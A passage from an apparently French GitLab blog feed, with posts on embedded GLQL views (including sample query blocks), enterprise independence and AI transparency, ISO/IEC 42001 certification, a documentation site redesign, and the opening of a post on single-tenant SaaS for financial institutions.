<p>Les vues intégrées représentent bien plus qu'une nouvelle fonctionnalité : elles constituent un changement fondamental dans la façon dont les équipes comprennent et suivent leur travail au sein de GitLab. Avec les vues intégrées, les équipes ne changent pas de contexte et accèdent aux informations dont elles ont besoin en temps réel. Ainsi, elles profitent d'une vision commune sans jamais quitter leur workflow actuel et renforcent leur collaboration. Grâce à un suivi du travail facilité et sans effort, les équipes peuvent se concentrer sur l'essentiel.</p>
<h2>Des données en temps réel là où vous en avez besoin</h2>
<p>Les vues intégrées permettent d'insérer des requêtes GLQL dynamiques dans des blocs de code Markdown à travers des pages <a href="https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/">wiki</a>, des epics, des tickets et des merge requests.</p>
<p>Elles offrent de nombreux avantages :</p>
<h3>Mises à jour en continu</h3>
<p>Les requêtes GLQL sont dynamiques et extraient des données actualisées à chaque chargement de page. Ainsi, vos vues intégrées reflètent toujours l'état actuel de votre travail, et non le moment où vous avez ajouté cette vue. Lorsque des modifications sont apportées aux tickets, aux merge requests ou aux jalons, la page s'actualise et affiche ces mises à jour dans votre vue intégrée.</p>
<h3>Contexte</h3>
<p>Utilisez des fonctions comme <code>currentUser()</code> et <code>today()</code> pour que vos requêtes s'appliquent à un contexte spécifique. Vos vues intégrées s'adaptent automatiquement pour afficher les informations pertinentes en fonction de la personne qui les consulte et offrent ainsi une expérience personnalisée sans configuration manuelle.</p>
<h3>Filtrage puissant</h3>
<p>Vous avez à disposition des filtres comme l'assigné, l'auteur, le label, le jalon, l'indicateur de progression, la date de création et plus encore. Il vous suffit d'utiliser des expressions logiques pour obtenir exactement les données souhaitées. Nous prenons en charge plus de 30 champs de filtres depuis la version 18.3.</p>
<h3>Affichage personnalisable</h3>
<p>Vous pouvez afficher vos données sous forme de tableau, de liste ou de liste numérotée. Choisissez les champs à afficher, définissez une limite du nombre d'éléments et indiquez l'ordre de tri pour profiter d'un affichage ciblé et exploitable.</p>
<h3>Disponibilité</h3>
<p>Vous pouvez utiliser les vues intégrées dans les wikis de groupe et de projet, les descriptions d'epics et de tickets, les merge requests et les commentaires. GLQL est disponible sur la version gratuite de GitLab, GitLab Premium, GitLab Ultimate, GitLab.com, GitLab Self-Managed et GitLab Dedicated. Certaines fonctionnalités, telles que l'affichage des epics, du statut, des champs personnalisés, des itérations et des poids, sont disponibles uniquement pour les utilisateurs de GitLab Premium et GitLab Ultimate. L'affichage de l'indicateur de progression est disponible uniquement dans GitLab Ultimate.</p>
<h2>Découvrez les vues intégrées en action</h2>
<p>La syntaxe du code source d'une vue intégrée est un sur-ensemble de YAML qui comprend :</p>
<ul>
<li>
<p>Le paramètre <code>query</code> : des expressions reliées par un opérateur logique, tel que <code>and</code>.</p>
</li>
<li>
<p>Des paramètres liés à la couche de présentation, comme <code>display</code>, <code>limit</code>, ou <code>fields</code>, <code>title</code> et <code>description</code> représentés en YAML.</p>
</li>
</ul>
<p>Une vue est définie en Markdown comme un bloc de code, similaire à d'autres blocs de code comme Mermaid.</p>
<p>Par exemple :</p>
<ul>
<li>
<p>Afficher un tableau des 5 premiers tickets ouverts assignés à l'utilisateur authentifié dans <code>gitlab-org/gitlab</code>.</p>
</li>
<li>
<p>Afficher les colonnes <code>title</code>, <code>state</code>, <code>health</code>, <code>epic</code>, <code>milestone</code>, <code>weight</code> et <code>updated</code>.</p>
</li>
</ul>
<pre><code class="language-yaml">```glql
display: table
title: GLQL table 🎉
description: This view lists my open issues
fields: title, state, health, epic, milestone, weight, updated
limit: 5
query: project = &quot;gitlab-org/gitlab&quot; AND assignee = currentUser() AND state = opened
```
</code></pre>
<p>Le tableau généré devrait ressembler à celui ci-dessous :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png" alt="Vue intégrée"></p>
<p>Pour créer votre première vue intégrée, accédez au menu déroulant <strong>Plus d'options</strong> dans la barre d'outils de l'éditeur de texte enrichi. Une fois dans cette barre d'outils, sélectionnez <strong>Vue intégrée</strong>.</p>
<p>La requête suivante sera insérée dans un bloc de code Markdown :</p>
<pre><code class="language-yaml">```glql
query: assignee = currentUser()
fields: title, createdAt, milestone, assignee
title: Issues assigned to current user
```
</code></pre>
<p>Enregistrez vos modifications dans le commentaire ou la description où le bloc de code apparaît, et c'est terminé : vous avez créé votre première vue intégrée !</p>
<h2>Comment GitLab utilise les vues intégrées</h2>
<p>Que ce soit pour suivre les merge requests relatives à des versions de sécurité, trier les bogues pour améliorer le backlog ou gérer l'intégration de l'équipe et la planification des jalons, nous nous servons des vues intégrées quotidiennement pour des processus essentiels. Il ne s'agit pas simplement d'une fonctionnalité que nous avons développée, c'est un outil dont nous dépendons pour gérer efficacement notre activité. Adopter les vues intégrées, c'est profiter d'une solution éprouvée qui aide déjà les équipes de GitLab à travailler plus efficacement, à prendre des décisions basées sur les données et à bénéficier d'une visibilité sur des workflows complexes.</p>
<p>Pour résumer, les vues intégrées peuvent transformer la façon dont votre équipe gère et analyse les tâches au cœur de votre travail.</p>
<p>Pour en savoir plus sur la façon dont GitLab utilise les vues intégrées en interne, consultez l’article <a href="https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/">« Comment GitLab mesure l'impact de la Red Team : la métrique du taux d'adoption »</a> et les tickets de planification concernant la version de recherche globale pour les jalons <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239">18.1</a>, <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241">18.2</a> et <a href="https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245">18.3</a>.</p>
<h2>Prochaines étapes</h2>
<p>Les vues intégrées ne sont que le début de la vision du <a href="https://about.gitlab.com/direction/plan/knowledge/">groupe Knowledge</a> consacrée au suivi du travail. Découvrez nos futurs projets dans l'<a href="https://gitlab.com/groups/gitlab-org/-/epics/15249">epic post disponibilité générale des vues intégrées</a>. En ce qui concerne l'évolution de cette fonctionnalité, nous nous engageons à renforcer son efficacité et son <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/548722">accessibilité</a>.</p>
<h2>Partagez votre expérience</h2>
<p>Partagez vos retours dans le <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509792">ticket dédié aux vues intégrées en disponibilité générale</a>. Que vous ayez découvert des cas d'utilisation innovants, rencontré des défis ou que vous ayez des idées d'amélioration, nous voulons connaître votre avis.</p>
]]></content>
        <author>
            <name>Matthew Macfarlane</name>
            <uri>https://about.gitlab.com/blog/authors/matthew-macfarlane</uri>
        </author>
        <author>
            <name>Himanshu Kapoor</name>
            <uri>https://about.gitlab.com/blog/authors/himanshu-kapoor</uri>
        </author>
        <author>
            <name>Alex Fracazo</name>
            <uri>https://about.gitlab.com/blog/authors/alex-fracazo</uri>
        </author>
        <published>2025-09-09T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[L'indépendance des entreprises : un sujet plus important que jamais en DevSecOps]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops/"/>
        <updated>2025-09-03T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Depuis plus de dix ans, GitLab s'engage en faveur de la transparence, de l'indépendance et d'une approche axée sur les développeurs. Au vu de l'évolution actuelle du secteur, ces aspects sont plus importants que jamais. Dans les entreprises, trois questions sont au cœur des discussions : qui contrôle réellement l'infrastructure de développement ? Comment le code est-il utilisé dans les systèmes d'IA ? Que se passe-t-il lorsque les priorités des fournisseurs ne répondent plus tout à fait aux exigences ?</p>
<p>Le mois dernier, <a href="https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/">nous avons annoncé la sortie de GitLab 18.3</a>, la dernière version de notre plateforme <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> avec l’IA native. Agent Insights, qui fait partie de GitLab Duo Agent Platform, offre une visibilité sur les processus décisionnels des agents. La prise en charge étendue des modèles d'IA signifie qu'il n'y a aucune dépendance vis-à-vis d'un fournisseur. Par ailleurs, des contrôles de gouvernance améliorés permettent d’assurer la conformité dans plusieurs juridictions.</p>
<p>Ces nouveautés sont plus que de simples fonctionnalités. Elles témoignent de la transparence, de l'indépendance et de l'approche axée sur les équipes de développement qui caractérisent GitLab. Voici comment cette stratégie se traduit en pratique.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1115249475?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Who is GitLab_Robin_090225_FINAL&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Transparence de l'IA à chaque étape du cycle de développement DevSecOps</h2>
<p><strong>Chez GitLab, notre engagement de longue date en faveur de la transparence répond directement à ces préoccupations.</strong> À mesure que l'intelligence artificielle s'intègre dans les workflows de développement, les entreprises s'inquiètent à juste titre de la façon dont leur code et leurs données sont utilisés pour entraîner l'IA.</p>
<p>Lancé en avril 2024, le <a href="https://about.gitlab.com/fr-fr/ai-transparency-center/">Centre pour la transparence de l'IA</a> de GitLab fournit une documentation claire sur nos pratiques en matière de gouvernance des données, de protection de la vie privée et de principes éthiques relatifs à l'IA. Contrairement aux plateformes qui exploitent des fonctionnalités d'IA avec des politiques d'utilisation des données peu claires, GitLab privilégie la transparence pour que ses clients puissent comprendre <a href="https://docs.gitlab.com/fr/user/gitlab_duo/data_usage/">exactement comment leurs données sont traitées</a>, stockées et protégées, et garantit que la plateforme ne les utilise pas pour entraîner l'IA.</p>
<p>Notre approche se distingue également par la flexibilité des modèles et notre indépendance vis-à-vis des fournisseurs. Tandis que certaines plateformes obligent leurs clients à utiliser un seul fournisseur de <a href="https://about.gitlab.com/fr-fr/blog/large-language-model/" title="Qu’est-ce qu’un LLM ?">grands modèles de langage (LLM)</a> et créent des dépendances supplémentaires vis-à-vis des fournisseurs et des points de défaillance potentiels, les fonctionnalités d'IA de GitLab s'appuient sur une variété de modèles. Cette approche nous permet de prendre en charge un large éventail de cas d'utilisation et d'offrir à nos clients la flexibilité nécessaire pour s'aligner sur leurs priorités stratégiques.</p>
<p>À mesure que nous développons GitLab Duo Agent Platform, nous continuons à prioriser le contrôle des données et le maintien de contrôles humains complets. Par ailleurs, GitLab Duo Self-Hosted offre une souveraineté complète des données avec des options de déploiement air-gapped, des politiques de conservation des données zero-day et la possibilité de traiter toutes les requêtes d'IA au sein de votre propre infrastructure.</p>
<p>En mai 2024, nous avons élaboré un <a href="https://handbook.gitlab.com/handbook/product/ai/continuity-plan/">plan de continuité IA</a> que nous mettons régulièrement à jour. Ce dernier contient un engagement de premier plan dans le secteur comme la capacité d'évaluer et de passer à un nouveau modèle dans les 30 jours si un fournisseur modifie ses pratiques en matière de données client. Cette approche proactive de la gestion des risques liés aux fournisseurs d'IA reflète notre engagement en faveur du contrôle client.</p>
<h2>Choix du déploiement et du fournisseur cloud</h2>
<p><strong>Vous devez pouvoir choisir comment et où déployer votre environnement DevSecOps.</strong> Dans ce domaine, GitLab offre une véritable flexibilité de déploiement. Les entreprises peuvent utiliser leurs propres serveurs, le SaaS multilocataire ou GitLab Dedicated, notre solution SaaS monolocataire entièrement gérée, sans compromettre les fonctionnalités ni subir des restrictions artificielles conçues pour favoriser le verrouillage de l'écosystème. GitLab est également compatible avec toutes les solutions cloud, ce qui permet aux clients d'utiliser le fournisseur qui convient le mieux à leurs besoins et à leur environnement.</p>
<p>Cette flexibilité s'avère inestimable face à des exigences juridictionnelles complexes et des défis réglementaires toujours plus nombreux. Lorsque de nouvelles lois sur la localisation des données apparaissent, comme nous l'avons vu dans l'Union européenne et d'autres régions, les entreprises qui utilisent GitLab peuvent rapidement adapter leurs stratégies de déploiement sans être limitées par des dépendances liées à leur écosystème.</p>
<p>Du point de vue des achats et de la gestion des risques, l'indépendance de la plateforme offre également un levier crucial dans les négociations de contrat. Les entreprises ne sont pas contraintes de signer des accords de licence restrictifs qui privilégient les intérêts des fournisseurs au détriment des besoins des clients. Cette indépendance devient particulièrement décisive à mesure que les entreprises se montrent plus vigilantes quant au contrôle de leur pile IA.</p>
<h2>Sécurité et conformité : intégrées et toujours prioritaires</h2>
<p><strong>La sécurité et la conformité sont désormais tout aussi importantes que les fonctionnalités de développement et doivent être intégrées à la plateforme, et non ajoutées après coup.</strong> L'approche  de GitLab, basée sur une plateforme unique, offre des avantages significatifs par rapport aux plateformes fragmentées qui s'appuient sur des modules complémentaires tiers pour proposer des fonctionnalités de sécurité et de gouvernance rudimentaires. Cette différence architecturale a des implications importantes en matière de risques juridiques potentiels, d’efficacité opérationnelle et de conformité réglementaire. Chaque outil supplémentaire représente un point de défaillance potentiel supplémentaire, un nouvel ensemble de conditions générales à négocier et une source de risque additionnelle.</p>
<p>GitLab fournit des fonctionnalités intégrées complètes en matière de sécurité et de conformité, y compris des frameworks de conformité personnalisés, des tests dynamiques de sécurité des applications (DAST), des tests d’API par injection de données aléatoires, des tests à données aléatoires guidé par la couverture de code et des tests d'Infrastructure as Code. Ces fonctionnalités sont intégrées en natif à la plateforme, ce qui permet une application cohérente des politiques et réduit la complexité de la conformité et les coûts supplémentaires liés à la gestion de plusieurs outils tiers.</p>
<p>Notre <a href="https://docs.gitlab.com/fr/user/compliance/compliance_center/">Centre de conformité</a> offre aux équipes un espace centralisé pour gérer les normes et rapports de conformité, les rapports de violations et les frameworks de conformité de leur groupe. Cette approche unifiée de la gestion de la conformité est particulièrement précieuse pour les entreprises qui opèrent dans des secteurs hautement réglementés où les pistes d'audit et la documentation relative à la conformité sont essentielles.</p>
<h2>À l'écoute de notre communauté open source</h2>
<p><strong>Les meilleurs outils sont façonnés par les personnes qui les utilisent.</strong> Notre engagement envers l'<a href="https://about.gitlab.com/fr-fr/blog/what-is-open-source/" title="Qu’est-ce que l’open source ?">open source</a> et notre communauté sont au cœur de GitLab depuis notre création. Par exemple, notre <a href="https://about.gitlab.com/community/co-create/">programme Co-Create</a> est une initiative collaborative qui permet à nos clients de travailler directement avec les équipes d'ingénierie de GitLab afin d’apporter des améliorations à la plateforme, comme des fonctionnalités ou des correctifs.</p>
<p>Notre engagement en faveur de la transparence reste fondamental pour notre activité. Notre <a href="https://gitlab.com/groups/gitlab-org/-/issues">système de suivi des tickets ouverts</a>, qui permet aux utilisateurs de suivre nos progrès et d'échanger directement avec les équipes de GitLab sur les améliorations produit en est un bon exemple. Nous avons récemment lancé notre <a href="https://about.gitlab.com/fr-fr/blog/inside-gitlabs-healthy-backlog-initiative/">initiative « Healthy Backlog »</a> pour donner à nos clients une visibilité encore plus grande sur notre calendrier et traiter leurs retours plus efficacement.</p>
<p>Notre approche permet non seulement aux entreprises de contribuer à l'innovation open source et d'en tirer parti, mais aussi d'assurer la gouvernance, les pistes d'audit et les contrôles de sécurité requis pour les environnements réglementés.</p>
<h2>Gouvernance des données : vos données, vos règles</h2>
<p><strong>Vous conservez un contrôle total sur vos données et leur traitement.</strong> La gouvernance des données est devenue un facteur de plus en plus critique dans les décisions technologiques des entreprises, en raison d’un ensemble complexe de lois nationales et régionales sur la protection des données et d’une préoccupation croissante concernant le contrôle des données sensibles, comme le code source, les informations client, les initiatives stratégiques et la veille concurrentielle.</p>
<p>Avec GitLab, vous pouvez gérer le niveau d’accès aux fonctionnalités alimentées par l'IA au sein de la plateforme, qui vont au-delà des simples contrôles d'accès pour inclure des normes de chiffrement et des fonctionnalités d'audit conformes aux cadres réglementaires. De plus, le code et les données clients ne sont jamais utilisés pour entraîner des modèles d'IA.</p>
<h2>Le choix est clair</h2>
<p>GitLab continue d'être à la pointe de l'innovation en matière de plateforme DevSecOps avec l'IA native, comment en témoigne notre dernière <a href="https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/">version 18.3</a>, tout en restant fidèle aux engagements d'indépendance et de transparence qui nous ont toujours guidés.</p>
<p>Contrôle total ou dépendance vis-à-vis d'un fournisseur ? Transparence ou incertitude ? Engagement envers l'innovation ou simple rouage dans un écosystème plus large ? Pour les clients, le choix est clair.</p>
<p>GitLab fournit les bases d'une transformation numérique durable qui trouve le juste équilibre entre innovation et indépendance afin d'aider les entreprises à créer de la valeur commerciale pour leurs clients.</p>
<p><a href="https://about.gitlab.com/fr-fr/free-trial/">Essayez GitLab Ultimate gratuitement avec GitLab Duo dès aujourd'hui.</a></p>
]]></content>
        <author>
            <name>Robin Schulman</name>
            <uri>https://about.gitlab.com/blog/authors/robin-schulman</uri>
        </author>
        <published>2025-09-03T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab obtient la certification ISO/IEC 42001 pour la gouvernance de l'IA]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-achieves-iso-iec-42001-certification-for-ai-governance/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-achieves-iso-iec-42001-certification-for-ai-governance/"/>
        <updated>2025-09-02T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'intelligence artificielle (IA) transforme notre façon de travailler et de résoudre des problèmes dans tous les secteurs. Elle s'intègre de plus en plus aux processus métiers et à la prise de décision, et la nécessité de disposer de cadres de gouvernance solides en la matière n'a jamais été aussi importante. Les organisations doivent trouver un équilibre entre les opportunités offertes par l'IA et la mise en place de systèmes sûrs, éthiques et responsables.</p>
<p>Dans le cadre de notre engagement en faveur d’une gestion responsable de l'IA, nous sommes ravis d'annoncer que GitLab a obtenu la certification ISO/IEC 42001, la première norme reconnue au niveau international pour l'établissement, la mise en œuvre, la maintenance et l'amélioration continue d'un système de gestion de l'intelligence artificielle (AIMS) au sein des organisations.</p>
<p>Le champ d'application de cette certification englobe notre offre complète d'IA, GitLab Duo, ainsi que GitLab Duo Agent Platform et ses composants. En tant que leader du DevSecOps, GitLab propose des fonctionnalités alimentées par l'IA tout au long du cycle de développement logiciel, notamment :</p>
<ul>
<li>
<p><a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-public-beta/">GitLab Duo Agent Platform</a> (actuellement en version bêta publique, disponibilité générale prévue en fin d’année) : permet une collaboration asynchrone entre les équipes de développement et les agents d’IA spécialisés tout au long du cycle de développement logiciel. GitLab Duo Agent Platform transforme ainsi les processus de développement linéaires en workflows dynamiques et parallèles, et fournit aux agents un accès à l'ensemble du contexte d'ingénierie logicielle stocké dans la plateforme unifiée de GitLab.</p>
</li>
<li>
<p><a href="https://docs.gitlab.com/user/project/repository/code_suggestions/">Suggestions de code</a> : permet aux équipes de développement de rester concentrées grâce à la génération prédictive de blocs de code, à la définition d'une logique fonctionnelle, à la génération de tests et à la suggestion d'un code commun comme des motifs regex, le tout sans quitter leur environnement de développement.</p>
</li>
<li>
<p><a href="https://docs.gitlab.com/user/application_security/vulnerabilities/#explaining-a-vulnerability">Explication des vulnérabilités</a> : aide les équipes de développement et les analystes en sécurité à comprendre les vulnérabilités, à les exploiter et à les corriger.</p>
</li>
<li>
<p><a href="https://docs.gitlab.com/user/gitlab_duo/">Génération de tests</a> : crée automatiquement des tests pour le code sélectionné, afin d’améliorer la couverture et de réduire les efforts manuels.</p>
</li>
</ul>
<h2>Qu’est-ce que cette certification signifie pour les utilisateurs de GitLab ?</h2>
<p><strong>Confiance et transparence accrues :</strong> nos fonctionnalités d’IA sont conçues et gérées conformément aux meilleures normes reconnues au niveau mondial en matière de gouvernance de l'IA, afin de garantir fiabilité et mise en œuvre éthique.</p>
<p><strong>Gestion stratégique des risques :</strong> nous avons mis en place des stratégies d'évaluation et de traitement des risques pour les composants d’IA au sein de notre plateforme. Nous prenons ainsi en considération des aspects tels que les risques liés à la continuité des activités opérationnelles, les risques techniques, les risques liés à la sécurité et à la confidentialité, ainsi que les conséquences sur la société au sens large. Cette approche proactive renforce la protection des données clients et facilite le développement de fonctionnalités fiables alimentées par l’IA.</p>
<p><strong>Amélioration continue :</strong> dans le cadre de la norme ISO/IEC 42001, nous nous engageons à évaluer et à améliorer continuellement nos capacités d’IA grâce à des audits de surveillance externes annuels, des évaluations internes régulières et des revues AIMS par un conseil composé de cadres dirigeants, tout en maintenant des normes de qualité et de responsabilité.</p>
<p><strong>Alignement réglementaire :</strong> alors que les réglementations sur l'IA continuent d'évoluer dans le monde, à l’instar du règlement sur l'intelligence artificielle de l'Union européenne, cette certification permet à GitLab de répondre aux exigences réglementaires émergentes.</p>
<p>Cette certification confirme la position de GitLab en tant que plateforme de confiance pour le DevSecOps alimenté par l'IA. Nous sommes ravis de continuer à montrer la voie en matière d'innovation responsable dans le domaine de l’IA.</p>
<h2>En savoir plus</h2>
<ul>
<li>
<p>Consultez le certificat ISO/IEC 42001 sur le <a href="https://trust.gitlab.com/">Trust Center de GitLab</a>.</p>
</li>
<li>
<p>Découvrez notre <a href="https://handbook.gitlab.com/handbook/security/isms/">système de gestion de l’IA dans notre manuel</a>.</p>
</li>
<li>
<p>Consultez le <a href="https://about.gitlab.com/fr-fr/ai-transparency-center/">Centre pour la transparence de l’IA de GitLab</a>.</p>
</li>
<li>
<p>Explorez toutes les <a href="https://docs.gitlab.com/user/gitlab_duo/">fonctionnalités et capacités de GitLab Duo</a> dans notre documentation.</p>
</li>
</ul>
]]></content>
        <author>
            <name>Davoud Tu</name>
            <uri>https://about.gitlab.com/blog/authors/davoud-tu</uri>
        </author>
        <published>2025-09-02T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[La documentation de GitLab fait peau neuve]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/docs-site-design-overhaul/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/docs-site-design-overhaul/"/>
        <updated>2025-09-01T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La documentation de GitLab arbore désormais une toute nouvelle apparence. Ce qui a commencé comme une demande de corrections de design ciblées s'est transformé en une refonte complète avec cinq améliorations majeures :</p>
<p><strong>Un mode sombre</strong> : la fonctionnalité la plus demandée est enfin disponible. Alternez entre thème clair et thème sombre en cliquant dans le coin supérieur droit pour améliorer la lisibilité et réduire la fatigue oculaire.</p>
<p><strong>Un alignement de la marque</strong> : notre documentation reflète désormais les couleurs et le design de notre site web et de notre interface utilisateur afin de garantir une expérience cohérente à travers toutes les propriétés de GitLab.</p>
<p><strong>Des retours simplifiés</strong> : les utilisateurs peuvent désormais donner leur avis (positif ou négatif) et laisser des commentaires sur n'importe quelle page de la documentation.</p>
<p><strong>Une navigation repensée</strong> : nous avons déplacé la navigation principale vers le haut et restructuré notre barre latérale gauche pour rendre nos plus de 2 300 pages moins intimidantes et plus faciles à parcourir.</p>
<p><strong>Une dette technique résolue</strong> : des dizaines de corrections mineures ont été apportées à la typographie, à l'espacement, aux blocs de code et aux incohérences visuelles qui s'étaient accumulées au fil des ans.</p>
<h2>Pourquoi maintenant ?</h2>
<p>Au début de l'année, sous la direction de Sarah German, notre équipe d'ingénierie chargée de la documentation a mené à bien un projet crucial de refonte de la plateforme, migrant de Nanoc vers Hugo. Bien que largement invisible pour les utilisateurs, ce changement a permis d’améliorer considérablement les performances (avec des compilations locales 130 fois plus rapides et des compilations complètes 30 fois plus rapides ) et a fourni la base technique solide nécessaire à ces améliorations.</p>
<p>Cette refonte était une étape essentielle qui nous a permis de nous concentrer sur l’amélioration de l'expérience utilisateur. Examinons de plus près ces changements.</p>
<h3>Mode sombre</h3>
<p>Probablement la plus grande nouveauté parmi ces améliorations : le mode sombre est maintenant disponible sur l'ensemble de la documentation. Il vous suffit de modifier le paramètre dans le coin supérieur droit, et le site se souviendra de votre préférence. Pour de nombreux utilisateurs, le mode sombre rend le contenu plus lisible et réduit la fatigue oculaire.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png" alt="image du mode sombre"></p>
<h3>Alignement de la marque avec le site web</h3>
<p>Le nouveau design crée une harmonie visuelle entre notre documentation et l'expérience GitLab au sens large. Nous avons intégré la palette de couleurs et les éléments de design modernes de GitLab tout en conservant l'aspect épuré et fonctionnel que les utilisateurs attendent d’une documentation technique.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617230/ialfadj3i3theizk08p5.png" alt="image de la nouvelle page d'accueil"></p>
<p>La page d'accueil mise à jour se concentre sur nos principaux domaines de documentation, y compris les tutoriels et les guides de démarrage qui aident les nouveaux utilisateurs à se familiariser avec GitLab.</p>
<h3>Mécanisme de retours simplifié</h3>
<p>Nous avons simplifié le processus des retours. Au lieu d'obliger les utilisateurs à quitter la documentation et à créer des tickets GitLab, ils peuvent désormais laisser des commentaires et rédiger des avis sans quitter le site. Faites défiler n'importe quelle page de la documentation vers le bas pour voir cette nouvelle fonctionnalité en action.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png" alt="image de la zone de commentaires"></p>
<h3>Refonte de la navigation</h3>
<p>L'un de nos plus grands défis consistait à organiser plus de 2 300 pages de manière à ne pas submerger les utilisateurs. Notre ancienne navigation à gauche, bien que complète, était plutôt intimidante :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png" alt="image de l'ancienne navigation"></p>
<p>Dans cette refonte, la navigation principale a été déplacée vers le haut. Les sections de table des matières sont plus courtes, plus faciles à gérer et plus simples à parcourir :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png" alt="image de la nouvelle navigation"></p>
<p>Cette structure reflète mieux les relations entre les fonctionnalités et rend les sections individuelles plus digestes.</p>
<h3>Mises à jour stylistiques et dette technique</h3>
<p>Au fil des ans, de petites incohérences de style s'étaient accumulées : remplissage irrégulier dans les listes, espacement supplémentaire autour des alertes et divers problèmes de typographie. Bien qu'elles puissent sembler mineures, ces incohérences créaient une expérience légèrement dérangeante pour les utilisateurs quotidiens.</p>
<p>Nous nous sommes tout particulièrement penchés sur nos onglets et blocs de code au cours du processus de refonte afin de mieux les définir.</p>
<p>Auparavant, les onglets contenant du code ressemblaient à ceci :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png" alt="image des anciens onglets avec bloc de code"></p>
<p>Maintenant, avec quelques petits ajustements, ils ressemblent à ceci :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png" alt="image des nouveaux onglets avec bloc de code"></p>
<p>Ces corrections « mineures » peuvent sembler insignifiantes individuellement, mais collectivement, elles créent une expérience beaucoup plus soignée et professionnelle.</p>
<h2>Et maintenant ?</h2>
<p>Cette refonte représente la façon dont nous itérons chez GitLab : nous apportons des améliorations significatives et construisons un avenir encore meilleur. Nous prévoyons de continuer à affiner la structure et à ajouter des fonctionnalités qui aideront les utilisateurs à trouver plus facilement ce dont ils ont besoin.</p>
<p>Les retours des utilisateurs guideront nos prochaines itérations, et avec notre nouveau mécanisme de retour simplifié, nous sommes mieux placés que jamais pour répondre directement aux attentes des utilisateurs de notre documentation.</p>
<h2>L'équipe</h2>
<p>Cette transformation a été le fruit d’un véritable travail d’équipe. Félicitations à UX Papercuts et Julia Miocene pour avoir transformé ce qui n'était au départ qu'une simple demande en une vision complète. Merci aux ingénieurs de l’équipe Technical Writing : Sarah German, Pearl Latteier, et Hiru Fernando, qui ont donné vie à ces améliorations.</p>
<p>Le nouveau design trouve le juste équilibre entre densité des informations et clarté visuelle, modernise notre site tout en conservant les normes d'utilisabilité et d'accessibilité et représente une étape importante en matière d'expérience utilisateur et de design visuel.</p>
]]></content>
        <author>
            <name>Suzanne Selhorn</name>
            <uri>https://about.gitlab.com/blog/authors/suzanne-selhorn</uri>
        </author>
        <author>
            <name>Julia Miocene</name>
            <uri>https://about.gitlab.com/blog/authors/julia-miocene</uri>
        </author>
        <author>
            <name>Sarah German</name>
            <uri>https://about.gitlab.com/blog/authors/sarah-german</uri>
        </author>
        <published>2025-09-01T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Pourquoi les services financiers choisissent-ils le SaaS monolocataire ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/why-financial-services-choose-single-tenant-saas/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/why-financial-services-choose-single-tenant-saas/"/>
        <updated>2025-08-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Dans les grandes institutions financières, le contraste entre la sécurité déployée à l'entrée des bâtiments et celle appliquée au sein des équipes est saisissant. À l'entrée, gardes armés, scanners biométriques, murs renforcés et multiples points de contrôle assurent la sécurité. Tandis qu’à l'intérieur, les équipes de développement créent les algorithmes qui alimentent la finance mondiale sur une infrastructure partagée avec des millions d'inconnus.</p>
<p>Les logiciels utilisés par les institutions financières actuelles sont tout sauf ordinaires. Ils comprennent des modèles de risque de crédit qui protègent des milliards d'actifs, des algorithmes de traitement des paiements qui gèrent des millions de transactions, des plateformes d'intelligence client qui pilotent la stratégie commerciale, et des systèmes réglementaires qui garantissent la conformité opérationnelle. Le tout alimenté par un code source qui sert à la fois de cœur opérationnel et d'actif stratégique.</p>
